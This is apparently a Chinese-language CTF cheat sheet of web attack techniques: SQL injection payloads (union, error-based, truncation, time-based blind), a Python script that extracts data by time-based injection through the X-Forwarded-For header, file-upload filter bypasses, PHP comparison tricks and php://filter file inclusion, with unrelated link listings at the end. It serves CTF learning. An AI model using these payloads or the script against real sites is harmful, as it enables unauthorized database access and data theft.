CTF 常见操作总结
一般流程
- 首先看header, veiwsource, 目录扫描
- 有登陆, 尝试sql注入&爆破
- 有数据库, 必然sql注入?
普通sql注入
判断是否存在回显异常
尝试单双引号查是字符型?数值型?
若1'#成功查询, 则是字符型
若失败则是数值型确定字段数
1' order by 3# , 意思是按第三参数排序, 若报错则没有第三字段确定返回值类型(需要么?参见bugku学生管理)
0' union select 1, 2, 3, 4 #不可
0' union select '1', '2', '3', '4' #可确定offset
1' union select '1', '2', '3', '4' # 仅有id=1的数据
0' union select '1', '2', '3', '4' # 仅有1234数据database()
information_schema.tables (使用group_concat)
information_schema.columns (使用group_concat)
查字段
带字符串过滤的sql注入
异或测试过滤
1'^(length('and')0)
1'^(length('asdasd')0)
测试结果若与下面的不同, 则存在and的过滤双写绕过, 大小写绕过
空格过滤
/x/充当空格若上面的绕过union失效, 尝试updatexml(但需要异常回显)
1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23
sql约束攻击
类似与在提供了注册功能的同时, 需要登陆admin帐号的情况下使用
注册时:
username=admin a&&passwd=passwd
因为sql由于字符串长度限制, 所以查询时截断username, 误认为admin, 登陆
但实测user(name varchar(20))下insert数据, 长度过长会报错, 所以这种攻击是否有效就另说了?
insert into类型sql注入
- 基于时间的sql注入
'+"+"(select case when substr((select table_name from information_schema.tables where table_schema=(select database()) limit 1 offset 0) from 0 for 1)='a' then sleep(30) else 0 end)) #
import requests as req
from lxml import etree
import base64
from tqdm import tqdm
url='http://123.206.87.240:8002/web15/'
# payload="'+"+"(select case when substr((select table_name from information_schema.tables where table_schema=(select database()) limit 1 offset %d) from %d for 1)='%s' then sleep(30) else 0 end)) #"
payload="'+"+"(select case when substr((select * from flag from %d for 1)='%s' then sleep(30) else 0 end)) #"
dic="1234567890qwertyuiopasdfghjklzxcvbnm"
dbname="w111111111111111111"
tablename=[]
for ti in range(1):
tmp=''
for i in range(1, 21):
check=False
for ch in dic:
try:
print(payload%(i, ch))
resp=req.get(url, headers={'X-Forwarded-For': payload%(i, ch)}, timeout=3)
except:
tmp+=ch
print(tmp)
check=True
break
if check==False: break
tablename.append(tmp)
print(tablename)
基于regex的sql注入
详见:https://blog.csdn.net/hwz2311245/article/details/53941523基于异常的sql注入
链接同上
文件上传
此处用burpsuite操作
- 请求头的Content-Type大小写绕过
- 请求数据的Content-Type改为image/png等
- 文件后缀黑名单php, php4, php5, phps, phtml, phtm绕过
- 屏蔽<?php: 用<?= 或
绕过
x==0
字符串绕过x==null
%20绕过is_numeric(x)false && x1
1%00123 字符截断
1%20123 空格字符
(%00123 绕过is_numeric()false, x1不能)
(%20123 不能绕过is_numeric()==false)
- is_numeric(x)==true && sql注入
二次注入, x专成16进制即可
select hex('test');
-> 0x74657374
md5(x) == md5(y) && x!=y
数组绕过x[]=x&y[]=y
sha1同理md5(x) === md5(y)
strcmp($x, $flag)==0
Php5.3之后版本使用strcmp比较一个字符串和数组的话,将不再返回-1而是返回0true == "0"
字符串绕过
php技巧
GLOBALS变量
文件包含 php://filter/read=convert.base64-encode/resource=flag.php
php://input
可将数据放入rawbody传数组burpsuite下
numbers[]="0,0,0"
numbers=[0,0,0]
HTTP
- X-Forwarded-For设置ip
事实上反代服务器也会写上XFF之类的header
X-Forwarded-For:Squid 服务代理
Proxy-Client-IP:apache 服务代理
WL-Proxy-Client-IP:weblogic 服务代理
HTTP_CLIENT_IP:有些代理服务器
X-Real-IP:nginx服务代理
编码
- HTML编码
KEY{J2sa42ahJK-HS11III}
KEY{J2sa42ahJK-HS11III}
Base64
urlencode
// js
escape('!#') // "%21%23"
unescape('%21%23"') // !#
其他
如何做到POST的同时给出GET参数?
postman: POST同时url上写GET参数, from-data写POST数据
hackbar: enable post data即可JSFuck
问题
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
http://123.206.87.240:8006/test/hello.php?id=0&b=%004123123&a=php://input
为何id=0不能通过?
CTF 常见操作总结的更多相关文章
- 动态单链表的传统存储方式和10种常见操作-C语言实现
顺序线性表的优点:方便存取(随机的),特点是物理位置和逻辑为主都是连续的(相邻).但是也有不足,比如:前面的插入和删除算法,需要移动大量元素,浪费时间,那么链式线性表 (简称链表) 就能解决这个问题. ...
- C#路径/文件/目录/I/O常见操作汇总
文件操作是程序中非常基础和重要的内容,而路径.文件.目录以及I/O都是在进行文件操作时的常见主题,这里想把这些常见的问题作个总结,对于每个问题,尽量提供一些解决方案,即使没有你想要的答案,也希望能提供 ...
- X-Cart 学习笔记(四)常见操作
目录 X-Cart 学习笔记(一)了解和安装X-Cart X-Cart 学习笔记(二)X-Cart框架1 X-Cart 学习笔记(三)X-Cart框架2 X-Cart 学习笔记(四)常见操作 五.常见 ...
- 转:jQuery 常见操作实现方式
http://www.cnblogs.com/guomingfeng/articles/2038707.html 一个优秀的 JavaScript 框架,一篇 jQuery 常用方法及函数的文章留存备 ...
- jQuery 常见操作实现方式
一个优秀的 JavaScript 框架,一篇 jQuery 常用方法及函数的文章留存备忘. jQuery 常见操作实现方式 $("标签名") //取html元素 document. ...
- C#路径/文件/目录/I/O常见操作汇总<转载>
文件操作是程序中非常基础和重要的内容,而路径.文件.目录以及I/O都是在进行文件操作时的常见主题,这里想把这些常见的问题作个总结,对于每个问题,尽量提供一些解决方案,即使没有你想要的答案,也希望能提供 ...
- [java学习笔记]java语言基础概述之数组的定义&常见操作(遍历、排序、查找)&二维数组
1.数组基础 1.什么是数组: 同一类型数据的集合,就是一个容器. 2.数组的好处: 可以自动为数组中的元素从零开始编号,方便操作这些数据. 3.格式: (一 ...
- 【转】C#路径/文件/目录/I/O常见操作汇总
文件操作是程序中非常基础和重要的内容,而路径.文件.目录以及I/O都是在进行文件操作时的常见主题,这里想把这些常见的问题作个总结,对于每个问题,尽量提供一些解决方案,即使没有你想要的答案,也希望能提供 ...
- C#路径,文件,目录,I/O常见操作
C#路径,文件,目录,I/O常见操作 文件操作是程序中非常基础和重要的内容,而路径.文件.目录以及I/O都是在进行文件操作时的常见主题,这里想把这些常见的问题作个总结,对于每个问题,尽量提供 ...
随机推荐
- 1.ibatis核心类
- VC 实现程序只运行一个实例,并激活已运行的程序
转载:http://blog.sina.com.cn/s/blog_4b44e1c00100bh69.html 进程的互斥运行:CreateMutex函数实现只运行一个程序实例 正常情况下,一个进程的 ...
- [面试] Java高级软件工程师面试考纲(转)
如果要应聘高级开发工程师职务,仅仅懂得Java的基础知识是远远不够的,还必须懂得常用数据结构.算法.网络.操作系统等知识.因此本文不会讲解具体的技术,笔者综合自己应聘各大公司的经历,整理了一份大公司对 ...
- mybatis映射文件祥解(StudentMapper.xml)
1)以下是StudentMapper.xml文件,提倡放在与实体同目录下,文件名任意 <?xml version="1.0" encoding="UTF-8&quo ...
- 注解方式实现AOP编程
步骤: 1) 先引入aop相关jar文件 (aspectj aop优秀组件) spring-aop-3.2.5.RELEASE.jar [spring3.2源码] aopal ...
- UML绘图工具
画UML图与写文章差不多,都是把自己的思想描述给别人看,关键在于思路和条理,图好看与否就是看你的字是否规范,至于工具,就像你用什么笔,不算非常重要. 目前市场上常见的建模工具有StarUML,IBM ...
- Selenium 2自动化测试实战37(自动发邮件功能)
自动发邮件功能 例如,如果想在自动化脚本运行完成之后,邮箱就可以收到最新的测试报告结果.SMTP(Simple Mail Transfer Protocol)是简单邮件传输协议,它是一组用于由源地址到 ...
- .NET开发辅助工具-ANTS Performance Profiler【转载】
https://blog.csdn.net/Eye_cng/article/details/50274109
- Java内部类(4):静态内部类&接口内部类
使用static修饰的内部类我们称之为静态内部类,不过我们更喜欢称之为嵌套内部类.静态内部类与非静态内部类之间存在一个最大的区别,我们知道非静态内部类在编译完成之后会隐含地保存着一个引用,该引用是指向 ...
- Hyperledger Fabric1.4 网络环境搭建步骤
1. 外部访问虚拟机: 安装ssh apt-get install openssh-server openssh-client 2. 安装vim sudo apt install vim 3. ...